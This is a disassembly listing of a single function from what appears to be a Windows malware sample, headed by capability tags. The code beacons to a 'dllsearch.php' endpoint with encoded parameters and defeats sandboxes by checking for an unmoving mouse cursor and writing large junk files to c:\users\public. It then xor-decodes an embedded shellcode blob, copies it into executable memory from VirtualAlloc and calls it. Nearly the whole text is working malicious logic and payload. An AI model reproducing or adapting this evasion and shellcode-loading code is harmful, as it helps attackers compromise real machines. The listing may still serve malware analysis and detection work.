Function at 0x140002d70
Capabilities:
Allocate or change rwx memory
Check for unmoving mouse cursor
Encode data using xor
Execute shellcode via indirect call
Terminate process
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x508]
sub rsp, 0x5f0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
movaps xmmword [rax - 0x58], xmm9
mov rax, qword [0x140009010]
xor rax, rsp
mov qword [rbp + 0x4a0], rax
call fcn.140002820
mov ebx, eax
mov edx, eax
lea rcx, str.result___d_n
call fcn.1400024b0
cmp ebx, 1
je 0x140002e47
xor esi, esi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 7
mov r8d, 0x89
lea rdx, str._dllsearch.php_ceyJpdiI6ICJ0Q3Zud2NNMkh6dFhjdGFKY21Pc3hBPT0iLCAiZGF0YSI6ICJjNStJcTZnQzZnUURwdnh1dDB0SmYzWG5mSWpTYUpHRE8ya2xlWTZsWlY4PSJ9
lea rcx, [rsp + 0x58]
call fcn.140003470
lea rcx, [rsp + 0x58]
call fcn.140002b20
xor eax, eax
mov rcx, qword [rbp + 0x4a0]
xor rcx, rsp
call fcn.140003e90
lea r11, [rsp + 0x5f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
lea rdx, str.c:userspublic_random_d.temp
lea rcx, [rbp + 0x20]
call fcn.140002510
lea rdx, [0x140006818]
lea rcx, [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r14, rax
xor esi, esi
test rax, rax
jne 0x140002e87
lea rcx, str.Error_opening_file
jmp 0x140002f1b
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rdi, rsi
nop dword [rax + rax]
mov rbx, rsi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
add r8b, 0x41
mov byte [rbp + rbx + 0xa0], r8b
inc rbx
cmp rbx, 0x400
jl 0x140002ea3
mov r9, r14
mov edx, 1
mov r8d, 0x400
lea rcx, [rbp + 0xa0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
test eax, eax
js 0x140002f14
cdqe
add rdi, rax
cmp rdi, 0x3b099d00
jl 0x140002ea0
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x140002f21
lea rcx, str.Error_writing_to_file
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov r15d, esi
call fcn.1400025e0
test al, al
je 0x140003056
lea rcx, str.not_specific
call fcn.1400024b0
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 7
mov r8d, 0x89
lea rdx, str._dllsearch.php_ceyJpdiI6ICJHV2F6NnEyV0NHdDh2K1FabldMeEJBPT0iLCAiZGF0YSI6ICJxYkFwdDZ6VHNUOEZLT2g4NEV1dW9wMFhZOHVmNGU1NVU2TU4wN3RNRlRrPSJ9
lea rcx, [rsp + 0x58]
call fcn.140003470
lea rcx, [rsp + 0x58]
call fcn.140002b20
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
lea rdx, str.c:userspublic_random_d.temp
lea rcx, [rbp - 0x60]
call fcn.140002510
lea rdx, [0x140006818]
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r14, rax
test rax, rax
jne 0x140002faf
lea rcx, str.Error_opening_file
jmp 0x14000303e
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rdi, rsi
mov rbx, rsi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
add r8b, 0x41
mov byte [rbp + rbx + 0xa0], r8b
inc rbx
cmp rbx, 0x400
jl 0x140002fc6
mov r9, r14
mov edx, 1
mov r8d, 0x400
lea rcx, [rbp + 0xa0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
test eax, eax
js 0x140003037
cdqe
add rdi, rax
cmp rdi, 0x3b099d00
jl 0x140002fc3
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x140003044
lea rcx, str.Error_writing_to_file
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
inc r15d
cmp r15d, 5
jl 0x140002f24
jmp 0x140003345
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_GetCursorPos]
xorps xmm7, xmm7
movsd xmm9, qword [0x140007078]
movsd xmm8, qword [0x140007080]
nop word [rax + rax]
lea rcx, [rsp + 0x28]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [rsp + 0x28]
sub eax, dword [rsp + 0x20]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movaps xmm1, xmm9
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movaps xmm6, xmm0
mov eax, dword [rsp + 0x2c]
sub eax, dword [rsp + 0x24]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movaps xmm1, xmm9
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movaps xmm1, xmm0
addsd xmm1, xmm6
xorps xmm0, xmm0
ucomisd xmm0, xmm1
ja 0x1400030d9
xorps xmm0, xmm0
sqrtsd xmm0, xmm1
jmp 0x1400030e1
movaps xmm0, xmm1
call sub.api_ms_win_crt_math_l1_1_0.dll_sqrt
addsd xmm7, xmm0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
lea rdx, str.c:userspublic_random_d.temp
lea rcx, [rbp - 0x60]
call fcn.140002510
lea rdx, [0x140006818]
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r14, rax
test rax, rax
jne 0x140003123
lea rcx, str.Error_opening_file
jmp 0x1400031b8
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rdi, rsi
mov rbx, rsi
nop word [rax + rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
add r8b, 0x41
mov byte [rbp + rbx + 0xa0], r8b
inc rbx
cmp rbx, 0x400
jl 0x140003140
mov r9, r14
mov edx, 1
mov r8d, 0x400
lea rcx, [rbp + 0xa0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
test eax, eax
js 0x1400031b1
cdqe
add rdi, rax
cmp rdi, 0x26f2
jl 0x140003137
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x1400031be
lea rcx, str.Error_writing_to_file
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x20], rax
comisd xmm7, xmm8
ja 0x1400031e8
movaps xmm1, xmm7
movq rdx, xmm7
lea rcx, str.screen_is__lf
call fcn.1400024b0
jmp 0x140003080
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], sil
mov r8d, 0x4d4
lea rdx, str.9ECL7PjgwAgICElZSVhaWV5AOdptQINaaECDWhBAg1ooQIN6WEAHv0JCRTnBQDnIpDRpdAokKEnJwQVJCcnq5VpJWUCDWiiDSjRACdhuiXAQAwp9eoOIgAgICECNyHxvQAnYWINAEEyDSChBCdjrXkD3wUmDPIBACd5FOcFAOcikScnBBUkJyTDofflEC0QsAE0x2X3QUEyDSCxBCdhuSYMEQEyDSBRBCdhJgwyAQAnYSVBJUFZRUklQSVFJUkCL5ChJWvfoUElRUkCDGuFH9_f3VWIIQbZ_YWZhZm18CEleQYHuRIH5SbJEfy4P991AOcFAOdpFOchFOcFJWElYSbIyXnGv993hmwgICFJAgclJsJ9wCAhFOcFJWUlZYgtJWUmyX4GXzvfd43FTQIHJQDnaQYHQRTnBWmAIOsiMWlpJsuNdJjP33UCBzkCLy1hiAldAgfmyFwgICGIIYIg7CAhBgehJsQwICAhJsn1Olo733UCBUCB0kHPyPf39_dFOcFaWkmyJQ4Qc_fdjcgHjZUJCAhA98cHjIQJCAjjuHsCQgI4Ir39_cnbXB4ZGdsbSdMSY4PideOTlST0NFXVoINWxo5x3GwTX1Od4BcA2SWImSIoCbmPzuTGfQ2fsWt9ocAtSTfQPPLilezoFHe24BgL6YmZCElra214fDIofG1wfCdgfGVkJChhZWlvbSciJChpeHhkYWtpfGFnZidwZWQFAklra214fCVEaWZvfWlvbTIoYH0FAklra214fCVNZmtnbGFmbzIoIiQob3JheAUCXXtteiVJb21mfDIoRWdyYWRkaSc9JjgoIF9hZmxnf3soRlwoOTgmODMoX2FmPjwzKHAPCEoSXh4ZG1fbWpDYXwnPTs_JjsKCBDQFxFRCQoZGFjbShPbWtjZyEoS2B6Z2VtJz49JjgmOzs6PSY5PD4oW2luaXphJz07PyY7PgUCCBtIjLjMrn3Mm6NGM_pBR4SUMXSZ1V3uFJHZ8eb1b7srtgqNtsN8M41zU024JtJavcbl_hWntEuutzKOUxQ_nAyAhg_RVNhpixNBT0uwhJtvi9ql733UA5wbIICEgISbAIGAgISbFICAgISbJQrFvt991Am1tbQIHvQIH5QIHSSbAIKAgIQYHxSbIanoHq991Ai8wojch8vm6DD0AJy43Ifd9QUFBADakLCAhYyB39ff3OTs_JjkwPCYwJj48CAgCJCI
lea rcx, [rsp + 0x58]
call fcn.1400019c0
nop
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x38]
call fcn.1400018e0
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.140001b20
nop
lea rbx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rbx, qword [rsp + 0x78]
mov rcx, qword [rbp - 0x78]
call fcn.1400044dc
mov rdi, rax
mov r9d, esi
mov rdx, qword [rbp - 0x78]
test rdx, rdx
je 0x14000328e
mov r8, rax
sub rbx, rax
nop word [rax + rax]
movzx ecx, byte [rbx + r8]
xor cl, 8
mov byte [r8], cl
inc r9d
lea r8, [r8 + 1]
movsxd rax, r9d
mov rdx, qword [rbp - 0x78]
cmp rax, rdx
jb 0x140003270
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, qword [rbp - 0x78]
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x1400032f4
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003eec
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140003345
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003340
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003340
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003eec
cmp r15d, 5
jne 0x140002e05
lea rcx, str.not_specific_and_reached_the_max_check_times__program_is_going_to_exit
call fcn.1400024b0
lea ecx, [r15 - 4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3